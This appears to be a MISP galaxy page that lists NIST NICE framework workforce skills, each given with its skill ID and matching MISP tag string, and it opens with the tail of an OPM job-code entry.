The tag is: *misp-galaxy:nice-framework-opm_codes="Information Systems Security Manager - Cybersecurity Management - Responsible for the cybersecurity of a program, organization, system, or enclave. (- 722"*

IT Investment/Portfolio Manager - Acquisition and Program/Project Management - Manages a portfolio of IT capabilities that align with the overall need - 804

IT Investment/Portfolio Manager - Acquisition and Program/Project Management - Manages a portfolio of IT capabilities that align with the overall needs of mission and business enterprise priorities. (Oversee and Govern)

The tag is: *misp-galaxy:nice-framework-opm_codes="IT Investment/Portfolio Manager - Acquisition and Program/Project Management - Manages a portfolio of IT capabilities that align with the overall need - 804"*

NICE Skills

Skills based on the NIST NICE framework.

NICE Skills is a cluster galaxy available in JSON format at **this location** The JSON format can be freely reused in your application or automatically enabled in MISP.

authors

NIST - Jean-Louis Huynen

Skill in network systems management principles, models, methods (e.g., end-to-end systems performance monitoring), and tools - S0136

Skill in network systems management principles, models, methods (e.g., end-to-end systems performance monitoring), and tools

The tag is: *misp-galaxy:nice-framework-skills="Skill in network systems management principles, models, methods (e.g., end-to-end systems performance monitoring), and tools - S0136"*

Skill in creating system security policies - S0564

Skill in creating system security policies

The tag is: *misp-galaxy:nice-framework-skills="Skill in creating system security policies - S0564"*

Skill in anticipating new security threats - S0799

Skill in anticipating new security threats

The tag is: *misp-galaxy:nice-framework-skills="Skill in anticipating new security threats - S0799"*

Skill in communicating with external organizations - S0826

Skill in communicating with external organizations

The tag is: *misp-galaxy:nice-framework-skills="Skill in communicating with external organizations - S0826"*

Skill in applying standards - S0384

Skill in applying standards

The tag is: *misp-galaxy:nice-framework-skills="Skill in applying standards - S0384"*

Skill in conducting market research - S0404

Skill in conducting market research

The tag is: *misp-galaxy:nice-framework-skills="Skill in conducting market research - S0404"*

Skill in pricing products - S0405

Skill in pricing products

The tag is: *misp-galaxy:nice-framework-skills="Skill in pricing products - S0405"*

Skill in analyzing supplier trustworthiness - S0412

Skill in analyzing supplier trustworthiness

The tag is: *misp-galaxy:nice-framework-skills="Skill in analyzing supplier trustworthiness - S0412"*

Skill in determining supplier trustworthiness - S0413

Skill in determining supplier trustworthiness

The tag is: *misp-galaxy:nice-framework-skills="Skill in determining supplier trustworthiness - S0413"*

Skill in monitoring system performance - S0580

Skill in monitoring system performance

The tag is: *misp-galaxy:nice-framework-skills="Skill in monitoring system performance - S0580"*

Skill in configuring systems for performance enhancement - S0581

Skill in configuring systems for performance enhancement

The tag is: *misp-galaxy:nice-framework-skills="Skill in configuring systems for performance enhancement - S0581"*

Skill in performing data requirement analysis - S0855

Skill in performing data requirement analysis

The tag is: *misp-galaxy:nice-framework-skills="Skill in performing data requirement analysis - S0855"*

Skill in creating a risk management program - S0452

Skill in creating a risk management program

The tag is: *misp-galaxy:nice-framework-skills="Skill in creating a risk management program - S0452"*

Skill in creating a risk management strategy - S0453

Skill in creating a risk management strategy

The tag is: *misp-galaxy:nice-framework-skills="Skill in creating a risk management strategy - S0453"*

Skill in creating an internal information sharing program - S0454

Skill in creating an internal information sharing program

The tag is: *misp-galaxy:nice-framework-skills="Skill in creating an internal information sharing program - S0454"*

Skill in integrating authorizations with requirements - S0455

Skill in integrating authorizations with requirements

The tag is: *misp-galaxy:nice-framework-skills="Skill in integrating authorizations with requirements - S0455"*

Skill in integrating security plans and authorizations - S0456

Skill in integrating security plans and authorizations

The tag is: *misp-galaxy:nice-framework-skills="Skill in integrating security plans and authorizations - S0456"*

Skill in determining system authorization status - S0457

Skill in determining system authorization status

The tag is: *misp-galaxy:nice-framework-skills="Skill in determining system authorization status - S0457"*

Skill in creating security assessment reports - S0459

Skill in creating security assessment reports

The tag is: *misp-galaxy:nice-framework-skills="Skill in creating security assessment reports - S0459"*

Skill in maintaining data - S0843

Skill in maintaining data

The tag is: *misp-galaxy:nice-framework-skills="Skill in maintaining data - S0843"*

Skill in verifying contractor compliance with contracts - S0460

Skill in verifying contractor compliance with contracts

The tag is: *misp-galaxy:nice-framework-skills="Skill in verifying contractor compliance with contracts - S0460"*

Skill in integrating security requirements and contracts - S0461

Skill in integrating security requirements and contracts

The tag is: *misp-galaxy:nice-framework-skills="Skill in integrating security requirements and contracts - S0461"*

Skill in applying stakeholder management within a system development life cycle - S0464

Skill in applying stakeholder management within a system development life cycle

The tag is: *misp-galaxy:nice-framework-skills="Skill in applying stakeholder management within a system development life cycle - S0464"*

Skill in implementing countermeasures - S0489

Skill in implementing countermeasures

The tag is: *misp-galaxy:nice-framework-skills="Skill in implementing countermeasures - S0489"*

Skill in developing curriculum standards - S0816

Skill in developing curriculum standards

The tag is: *misp-galaxy:nice-framework-skills="Skill in developing curriculum standards - S0816"*

Skill in providing software updates - S0541

Skill in providing software updates

The tag is: *misp-galaxy:nice-framework-skills="Skill in providing software updates - S0541"*

Skill in developing access control lists - S0542

Skill in developing access control lists

The tag is: *misp-galaxy:nice-framework-skills="Skill in developing access control lists - S0542"*

Skill in responding to threat reports - S0810

Skill in responding to threat reports

The tag is: *misp-galaxy:nice-framework-skills="Skill in responding to threat reports - S0810"*

Skill in performing supply chain analysis - S0812

Skill in performing supply chain analysis

The tag is: *misp-galaxy:nice-framework-skills="Skill in performing supply chain analysis - S0812"*

Skill in performing market analysis - S0868

Skill in performing market analysis

The tag is: *misp-galaxy:nice-framework-skills="Skill in performing market analysis - S0868"*

Skill in creating policies - S0665

Skill in creating policies

The tag is: *misp-galaxy:nice-framework-skills="Skill in creating policies - S0665"*

Skill in defining performance objectives - S0666

Skill in defining performance objectives

The tag is: *misp-galaxy:nice-framework-skills="Skill in defining performance objectives - S0666"*

Skill in cooperating with internal and external stakeholders - S0832

Skill in cooperating with internal and external stakeholders

The tag is: *misp-galaxy:nice-framework-skills="Skill in cooperating with internal and external stakeholders - S0832"*

Skill in correlating incident data - S0833

Skill in correlating incident data

The tag is: *misp-galaxy:nice-framework-skills="Skill in correlating incident data - S0833"*

Skill in applying security controls - S0097

Skill in applying security controls

The tag is: *misp-galaxy:nice-framework-skills="Skill in applying security controls - S0097"*

Skill in verifying participation in a security awareness program - S0379

Skill in verifying participation in a security awareness program

The tag is: *misp-galaxy:nice-framework-skills="Skill in verifying participation in a security awareness program - S0379"*

Skill in facilitating cybersecurity awareness briefings - S0380

Skill in facilitating cybersecurity awareness briefings

The tag is: *misp-galaxy:nice-framework-skills="Skill in facilitating cybersecurity awareness briefings - S0380"*

Skill in developing training programs - S0381

Skill in developing training programs

The tag is: *misp-galaxy:nice-framework-skills="Skill in developing training programs - S0381"*

Skill in facilitating small group discussions - S0388

Skill in facilitating small group discussions

The tag is: *misp-galaxy:nice-framework-skills="Skill in facilitating small group discussions - S0388"*

Skill in facilitating group discussions - S0389

Skill in facilitating group discussions

The tag is: *misp-galaxy:nice-framework-skills="Skill in facilitating group discussions - S0389"*

Skill in assessing learner comprehension - S0390

Skill in assessing learner comprehension

The tag is: *misp-galaxy:nice-framework-skills="Skill in assessing learner comprehension - S0390"*

Skill in providing training and education feedback to learners - S0392

Skill in providing training and education feedback to learners

The tag is: *misp-galaxy:nice-framework-skills="Skill in providing training and education feedback to*

learners - S0392"

Skill in applying technologies for instructional purposes - S0629

Skill in applying technologies for instructional purposes

The tag is: *misp-galaxy:nice-framework-skills="Skill in applying technologies for instructional purposes - S0629"*

Skill in developing instructional materials - S0395

Skill in developing instructional materials

The tag is: *misp-galaxy:nice-framework-skills="Skill in developing instructional materials - S0395"*

Skill in conducting an education needs assessment - S0467

Skill in conducting an education needs assessment

The tag is: *misp-galaxy:nice-framework-skills="Skill in conducting an education needs assessment - S0467"*

Skill in conducting a training needs assessment - S0468

Skill in conducting a training needs assessment

The tag is: *misp-galaxy:nice-framework-skills="Skill in conducting a training needs assessment - S0468"*

Skill in developing curricula - S0601

Skill in developing curricula

The tag is: *misp-galaxy:nice-framework-skills="Skill in developing curricula - S0601"*

Skill in teaching training programs - S0602

Skill in teaching training programs

The tag is: *misp-galaxy:nice-framework-skills="Skill in teaching training programs - S0602"*

Skill in developing learning activities - S0628

Skill in developing learning activities

The tag is: *misp-galaxy:nice-framework-skills="Skill in developing learning activities - S0628"*

Skill in aligning privacy and cybersecurity objectives - S0447

Skill in aligning privacy and cybersecurity objectives

The tag is: *misp-galaxy:nice-framework-skills="Skill in aligning privacy and cybersecurity objectives - S0447"*

Skill in authoring privacy disclosure statements - S0450

Skill in authoring privacy disclosure statements

The tag is: *misp-galaxy:nice-framework-skills="Skill in authoring privacy disclosure statements - S0450"*

Skill in creating privacy policies - S0796

Skill in creating privacy policies

The tag is: *misp-galaxy:nice-framework-skills="Skill in creating privacy policies - S0796"*

Skill in negotiating vendor agreements - S0797

Skill in negotiating vendor agreements

The tag is: *misp-galaxy:nice-framework-skills="Skill in negotiating vendor agreements - S0797"*

Skill in evaluating vendor privacy practices - S0798

Skill in evaluating vendor privacy practices

The tag is: *misp-galaxy:nice-framework-skills="Skill in evaluating vendor privacy practices - S0798"*

Skill in building internal and external stakeholder relationships - S0818

Skill in building internal and external stakeholder relationships

The tag is: *misp-galaxy:nice-framework-skills="Skill in building internal and external stakeholder relationships - S0818"*

Skill in resolving conflicting intelligence collection requirements - S0792

Skill in resolving conflicting intelligence collection requirements

The tag is: *misp-galaxy:nice-framework-skills="Skill in resolving conflicting intelligence collection requirements - S0792"*

Skill in establishing timelines - S0794

Skill in establishing timelines

The tag is: *misp-galaxy:nice-framework-skills="Skill in establishing timelines - S0794"*

Skill in tracking intelligence collection requirements - S0795

Skill in tracking intelligence collection requirements

The tag is: *misp-galaxy:nice-framework-skills="Skill in tracking intelligence collection requirements - S0795"*

Skill in applying analytical standards during intelligence product evaluation - S0310

Skill in applying analytical standards during intelligence product evaluation

The tag is: *misp-galaxy:nice-framework-skills="Skill in applying analytical standards during intelligence product evaluation - S0310"*

Skill in determining intelligence employment requirements - S0513

Skill in determining intelligence employment requirements

The tag is: *misp-galaxy:nice-framework-skills="Skill in determining intelligence employment requirements - S0513"*

Skill in performing strategic guidance analysis - S0761

Skill in performing strategic guidance analysis

The tag is: *misp-galaxy:nice-framework-skills="Skill in performing strategic guidance analysis - S0761"*

Skill in coordinating product development - S0766

Skill in coordinating product development

The tag is: *misp-galaxy:nice-framework-skills="Skill in coordinating product development - S0766"*

Skill in developing tailored intelligence products - S0767

Skill in developing tailored intelligence products

The tag is: *misp-galaxy:nice-framework-skills="Skill in developing tailored intelligence products - S0767"*

Skill in allocating resources - S0768

Skill in allocating resources

The tag is: *misp-galaxy:nice-framework-skills="Skill in allocating resources - S0768"*

Skill in creating planning documents - S0771

Skill in creating planning documents

The tag is: *misp-galaxy:nice-framework-skills="Skill in creating planning documents - S0771"*

Skill in maintaining planning documents - S0772

Skill in maintaining planning documents

The tag is: *misp-galaxy:nice-framework-skills="Skill in maintaining planning documents - S0772"*

Skill in tracking services - S0773

Skill in tracking services

The tag is: *misp-galaxy:nice-framework-skills="Skill in tracking services - S0773"*

Skill in monitoring threat effects to partner capabilities - S0787

Skill in monitoring threat effects to partner capabilities

The tag is: *misp-galaxy:nice-framework-skills="Skill in monitoring threat effects to partner capabilities - S0787"*

Skill in managing intelligence collection requirements - S0811

Skill in managing intelligence collection requirements

The tag is: *misp-galaxy:nice-framework-skills="Skill in managing intelligence collection requirements - S0811"*

Skill in transcribing target language communications - S0283

Skill in transcribing target language communications

The tag is: *misp-galaxy:nice-framework-skills="Skill in transcribing target language communications - S0283"*

Skill in implementing network security - S0524

Skill in implementing network security

The tag is: *misp-galaxy:nice-framework-skills="Skill in implementing network security - S0524"*

Skill in developing target communication profiles - S0533

Skill in developing target communication profiles

The tag is: *misp-galaxy:nice-framework-skills="Skill in developing target communication profiles - S0533"*

Skill in developing transcripts - S0539

Skill in developing transcripts

The tag is: *misp-galaxy:nice-framework-skills="Skill in developing transcripts - S0539"*

Skill in performing language processing tool analysis - S0689

Skill in performing language processing tool analysis

The tag is: *misp-galaxy:nice-framework-skills="Skill in performing language processing tool analysis - S0689"*

Skill in developing target assessments - S0692

Skill in developing target assessments

The tag is: *misp-galaxy:nice-framework-skills="Skill in developing target assessments - S0692"*

Skill in performing Open Source Intelligence (OSINT) research - S0695

Skill in performing Open Source Intelligence (OSINT) research

The tag is: *misp-galaxy:nice-framework-skills="Skill in performing Open Source Intelligence (OSINT) research - S0695"*

Skill in identifying target network characteristics - S0717

Skill in identifying target network characteristics

The tag is: *misp-galaxy:nice-framework-skills="Skill in identifying target network characteristics - S0717"*

Skill in identifying regional languages and dialects - S0720

Skill in identifying regional languages and dialects

The tag is: *misp-galaxy:nice-framework-skills="Skill in identifying regional languages and dialects - S0720"*

Skill in translating languages - S0747

Skill in translating languages

The tag is: *misp-galaxy:nice-framework-skills="Skill in translating languages - S0747"*

Skill in mapping networks - S0845

Skill in mapping networks

The tag is: *misp-galaxy:nice-framework-skills="Skill in mapping networks - S0845"*

Skill in performing cultural analysis - S0851

Skill in performing cultural analysis

The tag is: *misp-galaxy:nice-framework-skills="Skill in performing cultural analysis - S0851"*

Skill in performing language analysis - S0865

Skill in performing language analysis

The tag is: *misp-galaxy:nice-framework-skills="Skill in performing language analysis - S0865"*

Skill in performing social network analysis - S0881

Skill in performing social network analysis

The tag is: *misp-galaxy:nice-framework-skills="Skill in performing social network analysis - S0881"*

Skill in developing assessments - S0393

Skill in developing assessments

The tag is: *misp-galaxy:nice-framework-skills="Skill in developing assessments - S0393"*

Skill in developing security assessments - S0394

Skill in developing security assessments

The tag is: *misp-galaxy:nice-framework-skills="Skill in developing security assessments - S0394"*

Skill in forecasting requirements - S0396

Skill in forecasting requirements

The tag is: *misp-galaxy:nice-framework-skills="Skill in forecasting requirements - S0396"*

Skill in assessing requirements - S0397

Skill in assessing requirements

The tag is: *misp-galaxy:nice-framework-skills="Skill in assessing requirements - S0397"*

Skill in analyzing organizational objectives - S0398

Skill in analyzing organizational objectives

The tag is: *misp-galaxy:nice-framework-skills="Skill in analyzing organizational objectives - S0398"*

Skill in creating career path definitions - S0410

Skill in creating career path definitions

The tag is: *misp-galaxy:nice-framework-skills="Skill in creating career path definitions - S0410"*

Skill in developing career paths - S0411

Skill in developing career paths

The tag is: *misp-galaxy:nice-framework-skills="Skill in developing career paths - S0411"*

Skill in evaluating workforce trends - S0422

Skill in evaluating workforce trends

The tag is: *misp-galaxy:nice-framework-skills="Skill in evaluating workforce trends - S0422"*

Skill in managing a workforce - S0647

Skill in managing a workforce

The tag is: *misp-galaxy:nice-framework-skills="Skill in managing a workforce - S0647"*

Skill in developing policy plans - S0406

Skill in developing policy plans

The tag is: *misp-galaxy:nice-framework-skills="Skill in developing policy plans - S0406"*

Skill in identifying possible security violations - S0841

Skill in identifying possible security violations

The tag is: *misp-galaxy:nice-framework-skills="Skill in identifying possible security violations - S0841"*

Skill in performing cost/benefit analysis - S0850

Skill in performing cost/benefit analysis

The tag is: *misp-galaxy:nice-framework-skills="Skill in performing cost/benefit analysis - S0850"*

Skill in performing economic analysis - S0858

Skill in performing economic analysis

The tag is: *misp-galaxy:nice-framework-skills="Skill in performing economic analysis - S0858"*

Skill in providing customer support - S0478

Skill in providing customer support

The tag is: *misp-galaxy:nice-framework-skills="Skill in providing customer support - S0478"*

Skill in repairing hardware - S0594

Skill in repairing hardware

The tag is: *misp-galaxy:nice-framework-skills="Skill in repairing hardware - S0594"*

Skill in repairing system peripherals - S0595

Skill in repairing system peripherals

The tag is: *misp-galaxy:nice-framework-skills="Skill in repairing system peripherals - S0595"*

Skill in troubleshooting client-level problems - S0661

Skill in troubleshooting client-level problems

The tag is: *misp-galaxy:nice-framework-skills="Skill in troubleshooting client-level problems - S0661"*

Skill in configuring network workstations and peripherals - S0679

Skill in configuring network workstations and peripherals

The tag is: *misp-galaxy:nice-framework-skills="Skill in configuring network workstations and peripherals - S0679"*

Skill in validating network workstations and peripherals - S0680

Skill in validating network workstations and peripherals

The tag is: *misp-galaxy:nice-framework-skills="Skill in validating network workstations and peripherals - S0680"*

Skill in performing cyber defense trend analysis - S0852

Skill in performing cyber defense trend analysis

The tag is: *misp-galaxy:nice-framework-skills="Skill in performing cyber defense trend analysis - S0852"*

Skill in evaluating supplier trustworthiness - S0479

Skill in evaluating supplier trustworthiness

The tag is: *misp-galaxy:nice-framework-skills="Skill in evaluating supplier trustworthiness - S0479"*

Skill in evaluating product trustworthiness - S0480

Skill in evaluating product trustworthiness

The tag is: *misp-galaxy:nice-framework-skills="Skill in evaluating product trustworthiness - S0480"*

Skill in developing user credential management systems - S0484

Skill in developing user credential management systems

The tag is: *misp-galaxy:nice-framework-skills="Skill in developing user credential management systems - S0484"*

Skill in implementing user credential management systems - S0485

Skill in implementing user credential management systems

The tag is: *misp-galaxy:nice-framework-skills="Skill in implementing user credential management systems - S0485"*

Skill in implementing enterprise key escrow systems - S0486

Skill in implementing enterprise key escrow systems

The tag is: *misp-galaxy:nice-framework-skills="Skill in implementing enterprise key escrow systems - S0486"*

Skill in establishing a routing schema - S0035

Skill in establishing a routing schema

The tag is: *misp-galaxy:nice-framework-skills="Skill in establishing a routing schema - S0035"*

Skill in operating network equipment - S0421

Skill in operating network equipment

The tag is: *misp-galaxy:nice-framework-skills="Skill in operating network equipment - S0421"*

Skill in executing command line tools - S0424

Skill in executing command line tools

The tag is: *misp-galaxy:nice-framework-skills="Skill in executing command line tools - S0424"*

Skill in operating network systems - S0425

Skill in operating network systems

The tag is: *misp-galaxy:nice-framework-skills="Skill in operating network systems - S0425"*

Skill in deploying continuous monitoring technologies - S0451

Skill in deploying continuous monitoring technologies

The tag is: *misp-galaxy:nice-framework-skills="Skill in deploying continuous monitoring technologies - S0451"*

Skill in troubleshooting system performance - S0582

Skill in troubleshooting system performance

The tag is: *misp-galaxy:nice-framework-skills="Skill in troubleshooting system performance - S0582"*

Skill in implementing established network security practices - S0583

Skill in implementing established network security practices

The tag is: *misp-galaxy:nice-framework-skills="Skill in implementing established network security practices - S0583"*

Skill in configuring network protection components - S0618

Skill in configuring network protection components

The tag is: *misp-galaxy:nice-framework-skills="Skill in configuring network protection components - S0618"*

Skill in applying subnet techniques - S0682

Skill in applying subnet techniques

The tag is: *misp-galaxy:nice-framework-skills="Skill in applying subnet techniques - S0682"*

Skill in troubleshooting network equipment - S0815

Skill in troubleshooting network equipment

The tag is: *misp-galaxy:nice-framework-skills="Skill in troubleshooting network equipment - S0815"*

Skill in identify intelligence gaps - S0335

Skill in identify intelligence gaps

The tag is: *misp-galaxy:nice-framework-skills="Skill in identify intelligence gaps - S0335"*

Skill in determining asset availability, capabilities, and limitations - S0495

Skill in determining asset availability, capabilities, and limitations

The tag is: *misp-galaxy:nice-framework-skills="Skill in determining asset availability, capabilities, and limitations - S0495"*

Skill in assessing intelligence collection tasking - S0496

Skill in assessing intelligence collection tasking

The tag is: *misp-galaxy:nice-framework-skills="Skill in assessing intelligence collection tasking - S0496"*

Skill in creating intelligence collection strategies - S0500

Skill in creating intelligence collection strategies

The tag is: *misp-galaxy:nice-framework-skills="Skill in creating intelligence collection strategies - S0500"*

Skill in evaluating intelligence collection products - S0502

Skill in evaluating intelligence collection products

The tag is: *misp-galaxy:nice-framework-skills="Skill in evaluating intelligence collection products - S0502"*

Skill in assessing threat actors - S0518

Skill in assessing threat actors

The tag is: *misp-galaxy:nice-framework-skills="Skill in assessing threat actors - S0518"*

Skill in determining intelligence collection asset posture and availability - S0520

Skill in determining intelligence collection asset posture and availability

The tag is: *misp-galaxy:nice-framework-skills="Skill in determining intelligence collection asset posture and availability - S0520"*

Skill in managing operations - S0525

Skill in managing operations

The tag is: *misp-galaxy:nice-framework-skills="Skill in managing operations - S0525"*

Skill in identifying priority information - S0528

Skill in identifying priority information

The tag is: *misp-galaxy:nice-framework-skills="Skill in identifying priority information - S0528"*

Skill in identifying production exploitation needs - S0529

Skill in identifying production exploitation needs

The tag is: *misp-galaxy:nice-framework-skills="Skill in identifying production exploitation needs - S0529"*

Skill in managing sensors - S0538

Skill in managing sensors

The tag is: *misp-galaxy:nice-framework-skills="Skill in managing sensors - S0538"*

Skill in prioritizing information - S0721

Skill in prioritizing information

The tag is: *misp-galaxy:nice-framework-skills="Skill in prioritizing information - S0721"*

Skill in navigating databases - S0760

Skill in navigating databases

The tag is: *misp-galaxy:nice-framework-skills="Skill in navigating databases - S0760"*

Skill in comparing indicators with requirements - S0764

Skill in comparing indicators with requirements

The tag is: *misp-galaxy:nice-framework-skills="Skill in comparing indicators with requirements - S0764"*

Skill in evaluating feasibility of intelligence collection sources - S0774

Skill in evaluating feasibility of intelligence collection sources

The tag is: *misp-galaxy:nice-framework-skills="Skill in evaluating feasibility of intelligence collection sources - S0774"*

Skill in developing intelligence collection plans - S0775

Skill in developing intelligence collection plans

The tag is: *misp-galaxy:nice-framework-skills="Skill in developing intelligence collection plans - S0775"*

Skill in evaluating collection capabilities - S0781

Skill in evaluating collection capabilities

The tag is: *misp-galaxy:nice-framework-skills="Skill in evaluating collection capabilities - S0781"*

Skill in interpreting readiness reporting - S0786

Skill in interpreting readiness reporting

The tag is: *misp-galaxy:nice-framework-skills="Skill in interpreting readiness reporting - S0786"*

Skill in analyzing performance specifications - S0793

Skill in analyzing performance specifications

The tag is: *misp-galaxy:nice-framework-skills="Skill in analyzing performance specifications - S0793"*

Skill in navigating the dark web - S0469

Skill in navigating the dark web

The tag is: *misp-galaxy:nice-framework-skills="Skill in navigating the dark web - S0469"*

Skill in using the TOR network - S0470

Skill in using the TOR network

The tag is: *misp-galaxy:nice-framework-skills="Skill in using the TOR network - S0470"*

Skill in examining digital media - S0471

Skill in examining digital media

The tag is: *misp-galaxy:nice-framework-skills="Skill in examining digital media - S0471"*

Skill in evaluating the trustworthiness of a supply chain - S0620

Skill in evaluating the trustworthiness of a supply chain

The tag is: *misp-galaxy:nice-framework-skills="Skill in evaluating the trustworthiness of a supply chain - S0620"*

Skill in developing data dictionaries - S0028

Skill in developing data dictionaries

The tag is: *misp-galaxy:nice-framework-skills="Skill in developing data dictionaries - S0028"*

Skill in developing data models - S0029

Skill in developing data models

The tag is: *misp-galaxy:nice-framework-skills="Skill in developing data models - S0029"*

Skill in identifying hidden patterns or relationships - S0109

Skill in identifying hidden patterns or relationships

The tag is: *misp-galaxy:nice-framework-skills="Skill in identifying hidden patterns or relationships -*

S0109"

Skill in performing sensitivity analysis - S0114

Skill in performing sensitivity analysis

The tag is: *misp-galaxy:nice-framework-skills="Skill in performing sensitivity analysis - S0114"*

Skill in developing machine understandable semantic ontologies - S0118

Skill in developing machine understandable semantic ontologies

The tag is: *misp-galaxy:nice-framework-skills="Skill in developing machine understandable semantic ontologies - S0118"*

Skill in creating complex data structures - S0399

Skill in creating complex data structures

The tag is: *misp-galaxy:nice-framework-skills="Skill in creating complex data structures - S0399"*

Skill in creating programming languages - S0400

Skill in creating programming languages

The tag is: *misp-galaxy:nice-framework-skills="Skill in creating programming languages - S0400"*

Skill in identifying common encoding techniques - S0626

Skill in identifying common encoding techniques

The tag is: *misp-galaxy:nice-framework-skills="Skill in identifying common encoding techniques - S0626"*

Skill in performing data preprocessing - S0631

Skill in performing data preprocessing

The tag is: *misp-galaxy:nice-framework-skills="Skill in performing data preprocessing - S0631"*

Skill in performing format conversions - S0636

Skill in performing format conversions

The tag is: *misp-galaxy:nice-framework-skills="Skill in performing format conversions - S0636"*

Skill in performing regression analysis - S0640

Skill in performing regression analysis

The tag is: *misp-galaxy:nice-framework-skills="Skill in performing regression analysis - S0640"*

Skill in performing transformation analytics - S0644

Skill in performing transformation analytics

The tag is: *misp-galaxy:nice-framework-skills="Skill in performing transformation analytics - S0644"*

Skill in applying descriptive statistics - S0646

Skill in applying descriptive statistics

The tag is: *misp-galaxy:nice-framework-skills="Skill in applying descriptive statistics - S0646"*

Skill in detecting anomalies - S0648

Skill in detecting anomalies

The tag is: *misp-galaxy:nice-framework-skills="Skill in detecting anomalies - S0648"*

Skill in removing outliers - S0649

Skill in removing outliers

The tag is: *misp-galaxy:nice-framework-skills="Skill in removing outliers - S0649"*

Skill in assessing an organization’s data assets - S0808

Skill in assessing an organization’s data assets

The tag is: *misp-galaxy:nice-framework-skills="Skill in assessing an organization’s data assets - S0808"*

Skill in caching data - S0819

Skill in caching data

The tag is: *misp-galaxy:nice-framework-skills="Skill in caching data - S0819"*

Skill in cataloging data - S0820

Skill in cataloging data

The tag is: *misp-galaxy:nice-framework-skills="Skill in cataloging data - S0820"*

Skill in compiling data - S0828

Skill in compiling data

The tag is: *misp-galaxy:nice-framework-skills="Skill in compiling data - S0828"*

Skill in distributing data - S0835

Skill in distributing data

The tag is: *misp-galaxy:nice-framework-skills="Skill in distributing data - S0835"*

Skill in performing quantitative analysis - S0877

Skill in performing quantitative analysis

The tag is: *misp-galaxy:nice-framework-skills="Skill in performing quantitative analysis - S0877"*

Skill in retrieving data - S0897

Skill in retrieving data

The tag is: *misp-galaxy:nice-framework-skills="Skill in retrieving data - S0897"*

Skill in developing standard operating procedures (SOPs) - S0407

Skill in developing standard operating procedures (SOPs)

The tag is: *misp-galaxy:nice-framework-skills="Skill in developing standard operating procedures (SOPs) - S0407"*

Skill in maintaining standard operating procedures (SOPs) - S0408

Skill in maintaining standard operating procedures (SOPs)

The tag is: *misp-galaxy:nice-framework-skills="Skill in maintaining standard operating procedures (SOPs) - S0408"*

Skill in creating automated security control systems - S0448

Skill in creating automated security control systems

The tag is: *misp-galaxy:nice-framework-skills="Skill in creating automated security control systems - S0448"*

Skill in maintaining automated security control systems - S0449

Skill in maintaining automated security control systems

The tag is: *misp-galaxy:nice-framework-skills="Skill in maintaining automated security control systems - S0449"*

Skill in operating IT systems - S0487

Skill in operating IT systems

The tag is: *misp-galaxy:nice-framework-skills="Skill in operating IT systems - S0487"*

Skill in maintaining IT systems - S0488

Skill in maintaining IT systems

The tag is: *misp-galaxy:nice-framework-skills="Skill in maintaining IT systems - S0488"*

Skill in configuring software - S0561

Skill in configuring software

The tag is: *misp-galaxy:nice-framework-skills="Skill in configuring software - S0561"*

Skill in troubleshooting computer networks - S0577

Skill in troubleshooting computer networks

The tag is: *misp-galaxy:nice-framework-skills="Skill in troubleshooting computer networks - S0577"*

Skill in maintaining directory services - S0587

Skill in maintaining directory services

The tag is: *misp-galaxy:nice-framework-skills="Skill in maintaining directory services - S0587"*

Skill in managing servers - S0662

Skill in managing servers

The tag is: *misp-galaxy:nice-framework-skills="Skill in managing servers - S0662"*

Skill in managing workstations - S0663

Skill in managing workstations

The tag is: *misp-galaxy:nice-framework-skills="Skill in managing workstations - S0663"*

Skill in troubleshooting failed system components - S0672

Skill in troubleshooting failed system components

The tag is: *misp-galaxy:nice-framework-skills="Skill in troubleshooting failed system components - S0672"*

Skill in recovering failed systems - S0677

Skill in recovering failed systems

The tag is: *misp-galaxy:nice-framework-skills="Skill in recovering failed systems - S0677"*

Skill in managing account access rights - S0844

Skill in managing account access rights

The tag is: *misp-galaxy:nice-framework-skills="Skill in managing account access rights - S0844"*

Skill in conducting information searches - S0011

Skill in conducting information searches

The tag is: *misp-galaxy:nice-framework-skills="Skill in conducting information searches - S0011"*

Skill in conducting research - S0530

Skill in conducting research

The tag is: *misp-galaxy:nice-framework-skills="Skill in conducting research - S0530"*

Skill in creating knowledge maps - S0557

Skill in creating knowledge maps

The tag is: *misp-galaxy:nice-framework-skills="Skill in creating knowledge maps - S0557"*

Skill in optimizing database performance - S0045

Skill in optimizing database performance

The tag is: *misp-galaxy:nice-framework-skills="Skill in optimizing database performance - S0045"*

Skill in designing data storage solutions - S0545

Skill in designing data storage solutions

The tag is: *misp-galaxy:nice-framework-skills="Skill in designing data storage solutions - S0545"*

Skill in implementing data storage solutions - S0546

Skill in implementing data storage solutions

The tag is: *misp-galaxy:nice-framework-skills="Skill in implementing data storage solutions - S0546"*

Skill in securing network communications - S0077

Skill in securing network communications

The tag is: *misp-galaxy:nice-framework-skills="Skill in securing network communications - S0077"*

Skill in performing damage assessments - S0080

Skill in performing damage assessments

The tag is: *misp-galaxy:nice-framework-skills="Skill in performing damage assessments - S0080"*

Skill in identifying malware - S0547

Skill in identifying malware

The tag is: *misp-galaxy:nice-framework-skills="Skill in identifying malware - S0547"*

Skill in capturing malware - S0548

Skill in capturing malware

The tag is: *misp-galaxy:nice-framework-skills="Skill in capturing malware - S0548"*

Skill in containing malware - S0549

Skill in containing malware

The tag is: *misp-galaxy:nice-framework-skills="Skill in containing malware - S0549"*

Skill in reporting malware - S0550

Skill in reporting malware

The tag is: *misp-galaxy:nice-framework-skills="Skill in reporting malware - S0550"*

Skill in protecting a network against malware - S0615

Skill in protecting a network against malware

The tag is: *misp-galaxy:nice-framework-skills="Skill in protecting a network against malware - S0615"*

Skill in designing incident responses - S0805

Skill in designing incident responses

The tag is: *misp-galaxy:nice-framework-skills="Skill in designing incident responses - S0805"*

Skill in performing incident responses - S0806

Skill in performing incident responses

The tag is: *misp-galaxy:nice-framework-skills="Skill in performing incident responses - S0806"*

Skill in performing threat environment analysis - S0492

Skill in performing threat environment analysis

The tag is: *misp-galaxy:nice-framework-skills="Skill in performing threat environment analysis - S0492"*

Skill in performing social engineering - S0591

Skill in performing social engineering

The tag is: *misp-galaxy:nice-framework-skills="Skill in performing social engineering - S0591"*

Skill in reviewing logs - S0641

Skill in reviewing logs

The tag is: *misp-galaxy:nice-framework-skills="Skill in reviewing logs - S0641"*

Skill in identifying evidence of past intrusions - S0642

Skill in identifying evidence of past intrusions

The tag is: *misp-galaxy:nice-framework-skills="Skill in identifying evidence of past intrusions - S0642"*

Skill in assessing application vulnerabilities - S0656

Skill in assessing application vulnerabilities

The tag is: *misp-galaxy:nice-framework-skills="Skill in assessing application vulnerabilities - S0656"*

Skill in assessing an organization’s threat environment - S0804

Skill in assessing an organization’s threat environment

The tag is: *misp-galaxy:nice-framework-skills="Skill in assessing an organization’s threat environment - S0804"*

